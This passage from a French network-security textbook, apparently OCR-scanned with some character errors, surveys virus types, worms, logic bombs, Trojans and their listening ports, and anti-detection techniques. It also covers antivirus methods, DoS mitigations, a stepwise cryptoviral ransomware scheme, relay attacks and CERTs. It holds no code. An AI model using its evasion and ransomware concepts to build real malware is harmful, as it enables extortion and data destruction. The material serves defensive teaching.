le systeme d' exploitation, par exemple avec un suffixe en .com, .exe ou .sys sous 
Windows. 

lis sont executes chaque fois qu'un des fichiers programme infecte est lance par l'utilisa- 
teur. Cela signifie que, contrairement aux virus places sur le secteur 0, ils ne disposent que 
des privileges de l'utilisateur, ce qui encourage la pratique de la separation des privileges, 
l'utilisateur ne disposant que des droits dont il a reellement besoin sur sa station de travail. 

Ces fichiers infectes sont habituellement modifies pour privilegier le fonctionnement du 
virus par rapport a celui du programme avant son infection. Ils s'installent au debut ou a 
la fin du programme. 

Pendant son execution, le virus se duplique sur d'autres programmes sans que l'utilisa- 
teur en ait conscience, voire commence son action nuisible sur le systeme (alteration ou 
destruction de donnees, etc.). La taille du programme s'en trouve modifiee, rendant sa 
detection aisee. Precisons que certains virus savent utiliser des zones vides au sein de 
programmes pour eviter d'en modifier la taille. 

Les virus non residents memoire 

Dans la plupart des cas, les virus qui ne sont pas residents en memoire sont ceux qui se 
greffent sur des fichiers. 

Le programme viral s' active en totalite des la premiere etape de lancement du fichier 
infecte. Dans la plupart des cas, d'autres fichiers se trouvent infectes rapidement et 
deviennent eux-memes des vecteurs de propagation. 

Rappelons qu'un fichier infecte est generalement lance par un utilisateur qui ne beneficie 
pas des privileges d'administrateur sur le systeme. Cela prouve, s'il en etait besoin, que 
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la separation des privileges est une des cles de la reduction des risques de reproduction 
des virus avec des droits d'administrateur. 

Le virus active ne dispose que des privileges d'utilisateur tant que les permissions sur le 
systeme sont bien parametrees. Si l'utilisateur disposait ne serait-ce que d'une permis- 
sion d'ecriture sur un programme lance par le systeme, le virus pourrait gagner ce privi- 
lege et devenir encore plus nefaste pour le systeme. 

II est possible d'eradiquer le virus avec un logiciel approprie en redemarrant la machine 
infectee et en lan^ant 1' antivirus avant tout autre programme infecte. 

Les virus residents memoire 

Les virus residant en memoire sont independants du lancement d'un programme par 
l'utilisateur. 

Disposant de sufflsamment de privileges sur le systeme pour se loger en memoire, ils ont la 
capacite de parasiter le fonctionnement du systeme au niveau assez bas des interruptions. 

De plus, du fait qu'ils sont installes en memoire, ces virus peuvent etre hors de portee de 
certains logiciels antivirus tout en continuant leurs actions nefastes. 

Une fois actif, le virus infecte chaque programme execute qui n'est pas deja infecte. Cela 
permet une propagation tres efficace. II faut eteindre physiquement la machine par une 
coupure de tension pour que le virus cesse d'etre une menace. 

Le logiciel antivirus doit etre lance sans passer par la phase standard de demarrage du 
disque dur, via une disquette par exemple, faute de quoi le virus se recharge. 

Les virus multiformes 

On appelle virus multiforme un regroupement de differents types de virus. 

II existe peu de virus sous cette forme. Dans le cas le plus frequent, il s'agit de l'associa- 
tion d'un virus sur secteur d'amorgage et d'un virus par infection de fichiers. Ils infectent 
a la fois les fichiers programme et la procedure de demarrage du systeme d' exploitation. 

Les virus furtifs 

Les virus furtifs sont egalement appeles intercepteurs d' interruptions, car ils prennent le 
controle des interruptions logicielles du systeme d' exploitation afin de lui faire croire que 
le systeme est sain. 

Cette prise de controle de la table d' interruptions s'effectue au tout debut de la zone 
memoire. Lorsqu'un programme emet une requete d' interruption, celle-ci est habituelle- 
ment redirigee vers la table d' interruptions qui gere les commandes et permet au 
programme de faire son travail. 

En cas d' infection par un virus furtif, celui-ci intercepte les requetes et peut les rediriger 
ou il le desire et effectuer toute operation possible selon son bon plaisir. 
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Cette capacite des virus furtifs a controler la table d' interruptions leur permet de se 
cacher de maniere extremement efflcace, rendant leur detection particulierement ardue. 

Les virus polymorphes (mutants) 

Comme les logiciels antivirus detectent les comportements curieux des programmes, tels 
les flchiers qui voient leur taille modifiee sans raison ou des signatures particulieres 
(sequences de bits au sein des flchiers executables), certains virus sont capables de 
dejouer ces methodes de detection. 

Appeles polymorphes, ces virus ont la capacite de chiffrer ou de modifier leur code de 
programmation a chaque nouveau clone, ce qui rend chaque copie unique et differente 
des autres. Les systemes de detection se trouvent mis en echec par ce type de virus, car il 
n'existe pas de methode pour les detecter. 

Ces virus sont de plus en plus populaires depuis 1' apparition des moteurs de mutation, 
mis au point par une personne ou un groupe se faisant appeler Dark Avenger (le vengeur 
noir). Propage sur plusieurs serveurs, son code de programmation a ete rendu public. II 
est livre avec un jeu complet d' instructions permettant de transformer n'importe quel 
virus normal en virus polymorphe. 

Les virus reseau et les vers (worms) 

Les vers sont le type de virus que Ton rencontre aujourd'hui le plus frequemment. 
Depuis la generalisation de l'acces public a Internet en haut debit, mais egalement du fait 
d'un deficit de conscience securitaire dans le grand public comme au sein des entreprises, 
ces virus trouvent un terrain propice a leur diffusion. 

Prenant pour cibles les systemes d' exploitation qui offrent des services reseau, ils utili- 
sent ces derniers pour se repandre chez l'utilisateur, et ce selon deux grandes methodes : 

• En infectant un serveur qui fournit des ressources a une communaute d'utilisateurs, par 
exemple Netware, Microsoft ou un service comme le Web, ils se propagent a la 
communaute entiere en modifiant les programmes pendant leur transmission vers 
l'utilisateur. On parle en ce cas de virus reseau. 

• En utilisant une vulnerability d'un service reseau, ils attaquent le service, le penetrent 
et l'utilisent pour se propager. C'est dans ce cas qu'on parle de ver. Profitant de la puis- 
sance processeur et reseau du serveur qu'ils attaquent, les vers tentent d'infecter le plus 
rapidement possible d' autres machines (CodeRed, Nimda, SQL Hammer, etc.). Le 
choix de l'algorithme de selection des adresses reseau a infecter ainsi que la cadence 
d'envoi de l'infection sont les criteres definissant l'efficacite du virus. 

Les virus flibustiers (bounty hunters) 

Ces virus extremement rares ont pour vocation de mettre en echec certaines solutions 
logicielles antivirus. Ils sont bien sur redoutables contre la solution attaquee. 
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Les bombes logiques 

Une bombe logique est un virus qui attend un evenement pour se declencher. Cet evene- 
ment, determine par le programmeur malveillant, peut etre une date particuliere, une 
combinaison de touches, une action speciflque ou un ensemble de conditions precises. 

Un employe mal intentionne peut implanter une bombe logique chargee de verifier si son 
nom disparait des listes du personnel de l'entreprise ou son compte d'un serveur et nuire a 
l'entreprise apres qu'il l'a quittee en detruisant ou corrompant des donnees, par exemple. 

Les chevaux deTroie 

Pour pouvoir prendre le controle d'une machine, il n'y a pas enormement de 
possibilites : soit l'agresseur dispose des authentifications necessaires (compte, mot de 
passe, etc.), soit il utilise une vulnerability pour penetrer le systeme a l'insu de son 
proprietaire, soit encore il incite le proprietaire a mettre en place lui-meme le moyen lui 
permettant d'entrer dans le systeme. C'est le role du cheval de Troie. 

L'agresseur emballe son cheval de Troie dans un programme qui attire l'utilisateur. 
Celui-ci installe le programme et met lui-meme en place le moyen de penetration de 
l'agresseur. II s'agit souvent d'un programme qui ecoute sur un port TCP de son choix et 
qui en attend la connexion de l'agresseur. 

Une nouvelle forme de cheval de Troie est apparue depuis quelques annees par laquelle 
le virus prend l'initiative de se connecter a un serveur. L'objectif est de permettre a son 
concepteur d'atteindre la machine infectee malgre la presence d'un pare-feu, en remon- 
tant le flux sortant initie par le cheval de Troie. 

D'autres chevaux de Troie coupent simplement le pare-feu ou ajoutent une exception arm 
que le port sur lequel ils ecoutent soit accessible depuis n'importe quelle adresse reseau 
externe. 
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Tableau 3.1 Exemples de ports d'ecoute de chevaux deTroie 

1 1234 Ultors Trojan 

1 1243 BackDoor-G, SubSeven, SubSeven Apocalypse 

1 1245 VooDoo Doll port 1 269Mavericks Matrix 

1 1349 (UDP)BO DLL 

1 1509 Psyber Streaming Server 

t1600Shivka-Burka 

t1807SpySender 

1 1981 Shockrave 

1 12076 Gjamer 

1 12223 Hack'99 KeyLogger 

1 12345 GabanBus, NetBus, Pie Bill Gates, X-bill 

1 12346 GabanBus, NetBus, X-bill 
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Tableau 3.1 Exemples de ports d'ecoute de chevaux deTroie (suite) 

1 12361 Whack-a-mole 

1 30303 Sockets de Troie 

1 30999 Kuang2 

1 31337 Baron Night, BO client, B02, Bo Facil 

1 31337 (UDP)BackFire, Back Orifice, DeepBO 

1 31338 (UDP)Back Orifice, DeepBO 

1 31339 NetSpyDK 
t31666BOWhack 

1 33333 Prosiak 
1 33911 Spirit 2001 a 
1 34324 BigGluck, TN 

1 40421 Agent 40421 , Masters Paradise 

1 40422 Masters Paradise 

1 47262 (UDP)Delta Source 

1 50505 Sockets de Troie 

1 50766 Fore, Schwindler 

1 53001 Remote Windows Shutdown 

1 54320 Back Orifice 2000 

1 54321 School Bus 

1 54321 (UDP)Back Orifice 2000 
1 60000 Deep Throat 
1 61 466 Telecommando 
1 65000 Devil 



Techniques de codage d'un virus 

En dehors du mecanisme d' infection utilise pour penetrer un systeme et de la charge 
finale d'un virus, celui-ci doit deployer des techniques specifiques pour lutter contre la 
detection virale, notamment les suivantes : 

• Polymorphisme : consiste a faire muter le code du virus lors d'une infection afin de rendre 
difficile la lutte antivirale en evitant de creer une signature du virus facilitant sa detection. 

• Furtivite : consiste a camoufler le virus afin de rendre sa detection difficile par un anti- 
virus. Dans ce contexte, le virus doit lutter efficacement contre sa propre surinfection 
afin de limiter sa detection et ainsi augmenter sa furtivite. 

• Blindage : consiste a rendre difficile l'analyse du code associe au virus. La combinaison 
de la cryptographie et de la virologie fournit des methodes de blindage robustes. 

La figure 3.1 illustre l'infection d'un fichier par un virus appliquant la technique du poly- 
morphisme. 
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Figure 3.1 

Infection d'un fichier 
par un virus usant 
de polymorphisme 
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Le virus Whale a ete le premier virus a embarquer une fonction de detection de debo- 
gueur consistant a surveiller les interruptions systeme. Lors d'une telle detection, le virus 
Whale bloque le clavier et se desinfecte en memoire. 

Plusieurs virus apparus ces dernieres annees ont revele de multiples vecteurs de propaga- 
tion reseau : 

• Nimda utilise les ressources NetBIOS de partage de fichiers, ainsi que les serveurs 
Microsoft IIS ne disposant pas de correctifs de certaines vulnerabilites, le service 
TFTP (Trivial File Transfer Protocol) et la messagerie electronique par 1' exploitation 
d'une vulnerabilite d'Outlook, etc. 

• NetSky est un virus qui se propage sous differentes variantes par e-mail. II se presente 
sous la forme d'un message dont le titre et le corps sont aleatoires et qui possede un 
fichier joint. Le virus est lance si le fichier est execute. 

• Mydoom (et ses variantes) est un virus qui se propage par e-mail. II se presente sous la 
forme d'un message au titre aleatoire, accompagne d'un fichier joint dont l'extension 
est, par exemple, .BAT, .CMD, .EXE, .PIF, .SCR ou .ZIP. et dont l'icone est fausse- 
ment celle d'un simple fichier texte. Le virus est lance si le fichier est execute. 

• Welchia (et ses variantes) est un virus qui cible les ordinateurs vulnerables a une faille 
RPC de Microsoft. Si une machine connectee a Internet n'est pas a jour dans ses 
correctifs, Welchia l'infecte a l'insu de l'utilisateur puis scanne le reseau a la recherche 
de nouvelles machines vulnerables. 

• Bagle (et ses variantes) est un virus qui se propage par e-mail. II se presente sous la 
forme d'un message dont le titre est « Hi » et qui comporte un fichier joint au nom 
aleatoire, dont l'extension est en .EXE et l'icone est celle de la calculatrice Windows. 
Le virus est lance si le fichier est execute. 

• Sasser (et ses variantes) est un virus ciblant les ordinateurs vulnerables a la faille 
LSASS de Microsoft. Si une machine connectee a Internet n'est pas a jour dans ses 
correctifs, Sasser l'infecte via le port TCP 445 a l'insu de l'utilisateur puis scanne le 
reseau a la recherche de nouvelles machines vulnerables. 

Voici une liste non exhaustive des extensions des fichiers susceptibles d'etre infectees par 
un virus : ACE, ACM, ACV, ARC, ARJ, ASD, ASP, AVB, AX, BAT, BIN, BOO, BTM, 
CAB, CLA, CLASS, CDR, CHM, CMD, CNV, COM, CPL, CPT, CSC, CSS, DLL, 
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DOC, DOT DRV, DVB, DWG, EML, EXE, FON, GMS, GVB, HLP, HTA, HTM, 
HTML, HTA, HTT, INF, INI, JS, JSE, LNK, MDB, MHT, MHTM, MHTML, MPD, 
MPP, MPT, MSG, MSI, MSO, NWS, OBD, OBJ, OBT, OBZ, OCX, OFT, PCI, PIF, PL, 
PPT, PWZ, POT, PRC, QPW, RAR, SCR, SBF, SH, SHB, SHS, SHTML, SHW, SMM, 
SYS, TDO, TGZ, TT6, TLB, TSK, TSP, VBE, VBS, VBX, VOM, VWP, VXE, VXD, 
WBK, WBT, WIZ, WPC, WPD, WML, WSH, WSC, XML, XLS, XLT, ZIP. 

Detection virale et theorie de la complexite 

La theorie de la complexite a ete developpee dans les annees 1970 dans le but de classi- 
fier des problemes selon des classes de complexite. L'objectif initial etait de savoir si, 
pour un probleme donne, il existait un algorithme permettant de trouver une solution en 
un temps polynomial, c'est-a-dire susceptible de rendre ces problemes traitables. 

Plusieurs classes ont ete definies, pointant des problemes de plus en plus difficiles, 
comme l'illustrent les exemples suivants : 

• Si G est un graphe oriente value et s et t deux sommets, trouver un chemin de cout 
minimal de s a t ? Plusieurs algorithmes, notamment Bellman et Dijkstra, permettent 
de donner la solution en un temps polynomial en fonction de la taille du graphe G. 

• Le probleme du voyageur de commerce consiste a trouver un cycle, ou circuit hamil- 
tonien, de cout minimal dans un graphe value complet. II s'agit d'un probleme diffi- 
cile, dont aucun algorithme connu ne permet de trouver une solution optimale en un 
temps polynomial. En revanche, on peut construire une solution non optimale a l'aide 
de methodes dites « gloutonnes » et ameliorer cette solution de base avec des 
methodes dites « meta-heuristiques ». 

Les bases de la formalisation de la theorie de la complexite viennent des travaux de Alan 
Turing sur 1' existence effective d'un programme permettant de resoudre un probleme. 
L'idee initiale etait de savoir si un programme permettrait de repondre a coup sur a un 
probleme donne ? Alan Turing a montre qu'il existait des problemes non decidables, 
qu' aucun programme ne permettait de resoudre. 

Pour le demontrer, Alan Turing a cree la fameuse machine de Turing, qui est un modele 
abstrait du fonctionnement d'un ordinateur et de sa memoire afin de donner une defini- 
tion precise au concept d' algorithme (ou procedure mecanique). 

La figure 3.2 illustre une machine de Turing composee d'un ruban, d'une tete de lecture/ 
ecriture, d'un registre d'etats et d'une table d'actions. C'est ce modele qui est encore 
aujourd'hui largement utilise en informatique theorique, en particulier pour resoudre les 
problemes de complexite algorithmique et de calculabilite. 

Fondees sur l'approche de Turing, differentes classes de problemes ont ete definies, telles 
que les suivantes : 

• Classe P : problemes solubles en un temps polynomial. 
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Figure 3.2 
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Table dactions indiquant a la machine quel symbole ecrire , 
comment deplacer la tete de lecture, etc. 



• Classe NP : problemes verifiables en un temps polynomial. Si Ton dispose d'une solu- 
tion « certifiee », on peut verifier cette derniere en un temps polynomial. 

• Classe NP-complet : problemes appartenant a NP et etant aussi « difficiles » a resoudre 
que n'importe quel probleme de classe NP. Dit autrement, s'il existe un quelconque 
probleme NP-complet soluble en un temps polynomial, tout probleme NP-complet a 
un algorithme a temps polynomial. 

Un virus est un programme caracterise par la definition suivante : « Sequence de symbo- 
les qui, interpretee dans un environnement donne (adequat), modifie d'autres sequences 
de symboles dans cet environnement, de maniere a y inclure une copie de lui-meme, cette 
copie ayant eventuellement evolue. » 

Les travaux de Fred Cohen et Leonard Adleman dans les annees 1984-1989 ont permis de 
formaliser le probleme de la decidabilite de la detection virale a l'aide de machines de 
Turing. Le resultat de ces travaux montre que toute detection virale absolue est impossible. 
En d'autres termes, il n'existe aucun programme capable de detecter a coup sur un virus. 

II ne faut pas en conclure que les logiciels antivirus ne servent a rien, puisqu'ils permet- 
tent deja de detecter et d'eradiquer la base existante des virus connus. En revanche, la 
lutte antivirale ne doit pas uniquement reposer sur des programmes antiviraux, mais 
s'appuyer aussi sur d'autres techniques. 

Par exemple, les recommandations suivantes doivent etre suivies par les utilisateurs afin 
de completer les dispositifs de lutte antivirale : 

• n'ouvrir et ne transmettre aucun message e-mail provenant d'un expediteur inconnu ou 
incertain ; 

• n'ouvrir et ne transmettre aucune piece jointe dans un e-mail provenant d'un expedi- 
teur inconnu ou incertain ; 

• n'ouvrir et ne transmettre aucun fichier ou message attache ayant un aspect suspect ou 
inattendu ; 

• ne copier aucun fichier inconnu ou ne faire aucune confiance a sa source ; 

• utiliser un programme antivirus fiable et le mettre a jour le plus souvent possible ; 

• faire des copies de secours regulieres des donnees importantes. 
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Technologies de lutte antivirale 

II existe differentes manieres de traiter les menaces des virus, tant au niveau architectural 
que technique. 

Les methodes de detection ont grandement evolue ces dernieres annees afin de tenir 
compte a la fois des techniques de programmation des virus, mais aussi des mutations 
des virus lors de leur phase de reproduction. Pour necessaires qu'elles soient, ces metho- 
des restent insuffisantes pour la detection des futurs virus. 

La scanerisation 

Le procede de scanerisation repose sur une base de signatures de virus pour la phase de 
detection. Une signature est une portion de code propre a un virus qui permet de l'identi- 
fier. II s'agit en quelque sorte de 1'empreinte digitale du virus. 

Lorsque l'existence d'un nouveau virus est averee, celui-ci est extrait du programme 
qu'il infecte pour etre analyse et sauvegarde. Le programme de scanerisation effectue 
alors une comparaison entre les elements qu'il decouvre et ceux presents dans la base de 
donnees de signatures sur laquelle il s'appuie. S'il y a correspondance, le fichier est 
considere comme infecte. Sinon, le fichier est considere comme sain. Les programmes 
serieux effectuent egalement une analyse des zones de fichiers et du secteur d'amor^age. 

Le point faible de ce genre de programme est que toute infection par un virus inconnu 
risque de passer inaper^ue. Si un fichier infecte par un virus dont la signature ne figure 
pas encore dans la base de signatures de l'antivirus est utilise, l'antivirus ne peut s'en 
rendre compte. 

Demander a un logiciel antivirus utilisant cette technique de trouver les virus qui ne sont 
pas encore repertories equivaudrait a rechercher une aiguille dans une meule de foin. Sans 
aucune idee de son emplacement ni de sa physionomie, la tache est presque impossible. 
La scanerisation n'est done une methode fiable que si Ton recherche des virus connus. 

Certains scanners antivirus se contentent de verifier le debut et la fin des fichiers. 
L' impression de securite est alors illusoire, car de nombreux virus en circulation sont 
capables de se greffer au coeur meme des fichiers. Cette maniere de proceder est done des 
plus dangereuses puisqu'elle laisse passer des virus bien que leur signature soit connue. 

Tests d'integrite 

Les tests d'integrite s'appuient sur l'analyse de la taille en octet des fichiers. L'installa- 
tion d' antivirus implementant cette fonctionnalite doit s'effectuer sur un systeme parfai- 
tement sain, car ces logiciels creent une multitude de petits fichiers leur servant de refe- 
rence et comprenant des informations precises a propos de la taille des divers fichiers 
presents sur le disque dur. 

Par la suite, ces antivirus effectuent une comparaison permanente entre la taille effective 
des fichiers analyses et les fichiers de reference correspondants afin de detecter toute 
modification suspecte. 
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Le reproche principal que Ton peut adresser a cette methode est qu'elle n'effectue 
aucune action preventive, la detection d'un virus n'etant possible qu'apres infection. Le 
rapport d'infection est delivre a posteriori, une fois que le virus a fait son office, et 1' anti- 
virus est incapable d'identifler la source de l'infection. 

De plus, toute modification effectuee par les programmes eux-memes engendre des aler- 
tes intempestives. Les antivirus fondes sur cette seule methode ne peuvent en aucun cas 
etre consideres comme efflcaces et ne procurent nullement la prevention necessaire. 

Analyse comportementale 

La recherche de comportements anormaux du fait de la presence de virus dans un envi- 
ronnement informatique est generalement effectuee par un programme resident en 
memoire. Ces programmes sont de type TSR (Terminate and Stay Resident), c'est-a-dire 
qu'ils doivent etre a meme d'analyser les requetes dirigees vers la table d' interruptions. 

Le comportement des virus au sein des applications peut presque toujours etre considere 
comme anormal. C'est ce qu'on appelle l'activite virale. Peuvent etre considerees 
comme activites virales les requetes d'ecriture dans le secteur d'amor^age, les requetes 
d'ouverture de programmes en ecriture et les tentatives de programmes cherchant a se 
loger en memoire. Certaines operations communement effectuees par les virus permet- 
tent d'elaborer un systeme de regies visant a differencier un comportement normal d'un 
comportement viral. 

L' analyse fondee sur de telles regies permet de detecter de maniere tres performante les 
virus connus et inconnus et d'arreter une tentative d'infection avant meme qu'elle ait la 
possibilite d'endommager un fichier. 

Les pieges a virus ainsi constitues offrent de multiples avantages. lis peuvent empecher 
toutes sortes de programmes pernicieux d'endommager le systeme d' information et se 
revelent particulierement efflcaces contre les virus suivants : 

• virus connus et inconnus ; 

• chevaux de Troie ; 

• bombes logiques. 

Un inconvenient mineur de 1' analyse comportementale reside dans le fait qu'elle est 
incapable d'identifler les virus detectes. Seul le procede de scanerisation permet d'obte- 
nir ce genre de renseignement. 

Mecanismes reseau de lutte antivirale 

Les denis de service exploitent generalement de fausses adresses IP sources afln de 
masquer l'origine des attaques. De telles adresses sont generalement choisies parmi les 
adresses IP dites reservees, ou BOGONS (RFC 1918). Ces BOGONS doivent etre filtres 
par les operateurs de telecommunications en peripheric de leurs reseaux afln de limiter 
leur exploitation a des fins de deni de service. Ces filtres ne sont malheureusement pas 
appliques de maniere systematique. 
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La limitation en terme de bande passante d'un protocole tel que ICMP peut limiter les 
denis de service fondes sur de tels messages. En revanche, la limitation de la bande 
passante par protocole reseau reste un exercice perilleux et souvent voue a l'echec de par 
la nature non predictable des traflcs. 

D'autres mecanismes reseau, tels que l'URPF (Unicast Reverse Forwarding Protocol), 
permettent de n'autoriser un trafic que si l'adresse source est presente dans les tables de 
routage. Ces mecanismes peuvent toutefois s'averer complexes a mettre en ceuvre, et, en 
theorie, ils ne protegent pas des denis de service. 

Les techniques de puits de routage reseau, ou black ou sink hole, sont realisees par les 
operateurs de telecommunications auxquels est connecte le systeme vise par un deni de 
service. 

Elles fonctionnent de la fa^on suivante : 

1. Une fois qu'un deni de service est detecte sur une adresse IP, le responsable de cette 
adresse avertit son operateur de telecommunications. 

2. L' operateur indique au processus de routage du reseau, generalement le protocole 
BGP (Border Gateway Protocol), que le trafic a destination de cette adresse IP doit 
etre mis systematiquement au rebut (black hole) ou etre redirige vers un equipement 
dedie ay ant la capacite de 1' analyser et de le filtrer afin de separer le trafic legitime de 
celui de l'attaque (sink hole). 

Utilisation malicieuse de la cryptographie 

La cryptographie permet generalement de se proteger contre de nombreuses faiblesses de 
securite et de controler la securite des systemes d' information. Cette science peut cepen- 
dant etre aussi utilisee par les auteurs de virus afin de renforcer leur caractere nocif. 

La premiere definition de la cryptographie malicieuse a ete donnee par M. Yung et 
L. A. Young selon le modele operatoire dit hybride (algorithmes de chiffrement symetri- 
que et asymetrique) suivant : 

1. Une paire de cles publique/privee est generee par l'auteur du virus. 

2. Ce dernier insere uniquement la cle publique dans le corps du programme du virus et 
libere le virus sur le reseau. L'auteur du virus est le seul possesseur de la cle privee et 
ne la diffuse evidemment pas. 

3. Lorsque le virus atteint un systeme par le biais d'une faiblesse de securite, il genere 
de maniere aleatoire une cle A, qu'il utilise pour chiffrer les donnees du systeme a 
l'aide d'un algorithme de chiffrement symetrique. 

4. Le virus chiffre la cle A avec la cle publique qu'il possede au moyen d'un algorithme 
de chiffrement asymetrique. Appelons la cle chiffree A . 

5. Les donnees du systeme sont pris en otage, et une demande de ran^on peut etre 
exigee pour les recuperer. 
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6. Apres paiement de la ran^on, la cle A' est fournie a l'auteur du virus afln d'etre 
dechiffree avec la cle privee (rappelons que la cle A a ete chiffree prealablement avec 
la cle publique) et de fournir en retour la cle A ainsi que ralgorithme de chiffrement 
symetrique utilise. Le couple constitue de la cle A et de ralgorithme de chiffrement 
symetrique permet de recuperer (dechiffrer) les donnees du systeme. 

Bien que tres peu de virus implementent de tels mecanismes, ces derniers montrent qu'il 
est possible d'utiliser la cryptographie a des fins malfaisantes. La cryptographie peut 
aussi etre utilisee afin de realiser du polymorphisme du code viral (modification de la 
semantique du code) et du blindage viral. 

Les virus qui utilisent la cryptographie a des fins de blindage viral implementent avant 
tout une gestion « environnementale » des cles associees. Sachant que la presence stati- 
que de cles dans du code viral peut compromettre le caractere nocif du virus, ce dernier 
gere ces cles a partir de l'environnement dans lequel il est present. II agit alors en aveugle 
et ignore si les cles sont disponibles a un instant t. 

Dans le cas du virus Bratley, qui utilise un tel principe de blindage, E. Filiol a demontre 
que 1' analyse de ce code revelait une complexity exponentielle et que les problemes 
etaient consideres comme intraitables. 



Attaques par relais 

Les attaques par relais peuvent impacter le reseau ainsi que les services reseau. Un relais 
peut etre un systeme de messagerie fonde sur le protocole SMTP (Simple Mail Transfer 
Protocol) ou un systeme de resolution de noms de domaine a l'aide du protocole DNS 
(Domain Name Service). 

En dehors des attaques classiques presentees au chapitre precedent, les sections qui 
suivent donnent quelques exemples de vecteurs d' attaques sur les relais. 

Attaques par vers 

Les vers sont de plus en plus utilises dans les attaques reseau, notamment les attaques 
dites DDoS (Distributed Denial of Service). Recemment, SQL Hammer a provoque la 
panique au sein d' Internet, venant apres CodeRed et Nimda, qui avaient engendre 
d'enormes perturbations pendant plusieurs jours, voire semaines. 

La partie du ver qui permet de definir si celui-ci impactera le reseau est celle chargee de 
sa reproduction. Sortant de sa discretion, le ver peut chercher a se propager le plus rapi- 
dement possible. II utilise pour cela le protocole UDP (User Datagram Protocol) et 
envoie autant de paquets qu'il le peut. Un seul systeme SQL Hammer, par exemple, 
pouvait surcharger une bande passante d'un gigabit par seconde. 

La methode de selection des adresses IP victimes a egalement son importance. Si le ver 
genere les adresses au hasard, il infecte Internet avant l'entreprise ou est situe le systeme 
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infecte et a de grandes chances de rencontrer des solutions de filtrage, qui ralentissent sa 
propagation. 

S'il utilise la configuration reseau de la machine infectee pour tenter en premier la propa- 
gation locale, il a des chances d'etre detecte plus tardivement, atout majeur pour un virus, 
voire d'infecter plus vite d'autres victimes. 

Comme les vers CodeRed et Nimda l'ont demontre, ces methodes changent du tout au 
tout l'efficacite et done l'impact du ver sur le reseau. CodeRed reussissait a se propager a 
une cadence infernale, en tout cas beaucoup plus efficacement que Nimda, qui utilisait 
pourtant les memes vecteurs. 

Attaques visant la saturation des systemes relais 

Diverses techniques d' attaques permettent de rendre indisponibles les relais ainsi que les 
services reseau qu'ils supportent, notamment les suivantes : 

• Faire relayer un courrier electronique SMTP vers un grand nombre de destinataires en 
copie cachee, ou BCC (Blind Carbon Copy). Le relais re^oit un seul message mais doit 
generer un nouveau message pour chaque destinataire. Un simple message de 3 Mo 
envoye a 1 000 destinataires implique pour le serveur de generer 1 000 messages de 
3 Mo. L'attaque impacte done le serveur et le reseau local et rend indisponible le 
service pour d'autres utilisateurs. 

• Rendre indisponible la resolution de noms de domaines. Tout reseau fonctionne en 
s'appuyant sur des services partages, tels que le service DNS de resolution de noms de 
domaine. Le service DNS permet d'acceder aux systemes sans qu'il soit necessaire 
d' avoir en tete les adresses IP. Toute atteinte a l'integrite de ce service ou a sa disponi- 
bilite peut impacter la disponibilite des services reseau et done le reseau lui-meme. 

• Saturer les ressources offertes par un systeme. Cela peut se faire par le biais du reseau, 
grace aux inondations, ou par la saturation de la memoire ou du processeur. 

Les CERT (Computer Emergency Response Team) 

Les CERT (Computer Emergency Response Team) ont ete crees au debut des 
annees 1990 aux Etats-Unis suite a des incidents de securite survenus sur les reseaux de 
la recherche americains. De nos jours, de nombreux CERT sont en place dans la plupart 
des pays de la planete. 

La mission d'un CERT est d'assister ses adherents en matiere de securite informatique, 
notamment dans le domaine de la prevention, de la detection et de la resolution d'incidents. 

Les trois CERT suivants sont a l'ceuvre en France : 

• CERT Renater (secteur des universites et de la recherche) : http://www.renater.fr/Securite/ 
CERT_Renater.htm ; 

• CERTA (secteur des administrations) : http://www.certa.ssi.gouv.fr/', 
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• CERT-IST (secteurs de l'industrie, des services et du tertiaire) : http://www.cert-ist.com/. 

Les CERT sont regroupes au sein d'une structure appelee FIRST (Forum of Incident 
Response and Security Team), qui assure notamment la coherence des actions entreprises 
et normalise le mode de fonctionnement des differents CERT. Cette structure permet en 
outre de partager informations, expertises et outils. 



En resume 



Les entreprises sont aujourd'hui bien conscientes de l'utilite d'une politique antivirale, 
surtout apres les grandes attaques virales CodeRed, Nimda et SQL Hammer, qui ont 
cause des degats e values en millions d' euros et de dollars aux entreprises mal protegees 
et ont demontre leur capacite a impacter les reseaux locaux ainsi que ceux des operateurs 
de telecommunications. 

On ne saurait pour autant etre trop optimiste pour l'avenir. Le nombre de virus ecrits dans 
le monde augmente en permanence. L' apparition de nouvelles fonctionnalites sur les 
telephones portables et autres types d'equipements rattaches a des reseaux, comme celles 
permises par la technologie Java, augmente la probability de propagation des virus et les 
menaces qui pesent sur les reseaux. II existe d'ailleurs deja des virus ou des preuves de 
concept de virus sur de tels appareils. 

Comme l'a dit Sun Tzu dans son traite UArt de la guerre : « Si tu te connais sans connai- 
tre ton ennemi, pour chaque victoire il y a aura egalement une defaite. » II est important 
de connaitre non seulement toutes les attaques possibles mais aussi les elements a prote- 
ger, comme nous allons tenter de le montrer a la partie suivante de l'ouvrage. 



Partie II 



Conduire une politique 
de securite reseau 



Apres avoir presente a la partie precedente les menaces qui pesent sur le reseau 
d'entreprise, nous decrivons dans cette partie les methodes permettant de mener a bien 
la gestion des risques. Nous montrons ensuite comment deflnir une politique de secu- 
rite reseau et elaborer des strategies de securite autour de cette politique. 

La politique de securite d'une entreprise se fonde avant tout sur une gestion des 
risques decrivant les ressources critiques de 1' entreprise, ses objectifs de securite, ses 
vulnerabilites, les probabilites d' occurrence de menaces sur ces ressources vitales, 
ainsi que leurs consequences sur 1' entreprise. 

A partir de cette politique de securite, une architecture, des outils et des procedures 
sont dermis, deployes et verifies afin de proteger les ressources critiques et de repondre 
aux objectifs de securite de 1' entreprise. Les mesures de securite a mettre place 
peuvent etre d'ordre divers, demander des ressources plus ou moins importantes et etre 
implementees dans des delais plus ou moins realistes. 

L'approche inverse, qui consiste a deploy er les derniers outils de securite disponibles 
sur le marche sans reflexion prealable sur les besoins de 1' entreprise, ne peut traiter 
que des problemes de securite a un instant donne et n'assurer qu'une partie de la secu- 
risation des elements critiques de 1' entreprise. Elle peut meme produire l'effet inverse 
par un faux sentiment de securite sur un maillon de la chame de securite, creant une 
faiblesse sur 1' ensemble de celle-ci. 

L'objectif de cette partie est de faire ressortir qu'une securite bien comprise passe par 
la connaissance de l'entreprise, de son perimetre et de son organisation arm d'en 
deduire des besoins puis une politique de securite reseau. 
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L'objectif d'une securite bien geree et ciblee consiste a proteger les elements critiques 
d'une entreprise. Toute erreur sur la cible a proteger conduit a une analyse erronee de la 
situation et peut mettre en peril l'entreprise. La determination de ces elements critiques et 
de ces objectifs de securite est done primordiale pour elaborer une politique de securite 
coherente. 

Nous decrivons dans ce chapitre des methodes d' evaluation de la securite qui contiennent 
toutes par defaut une gestion des risques fondee sur les elements critiques et les objectifs 
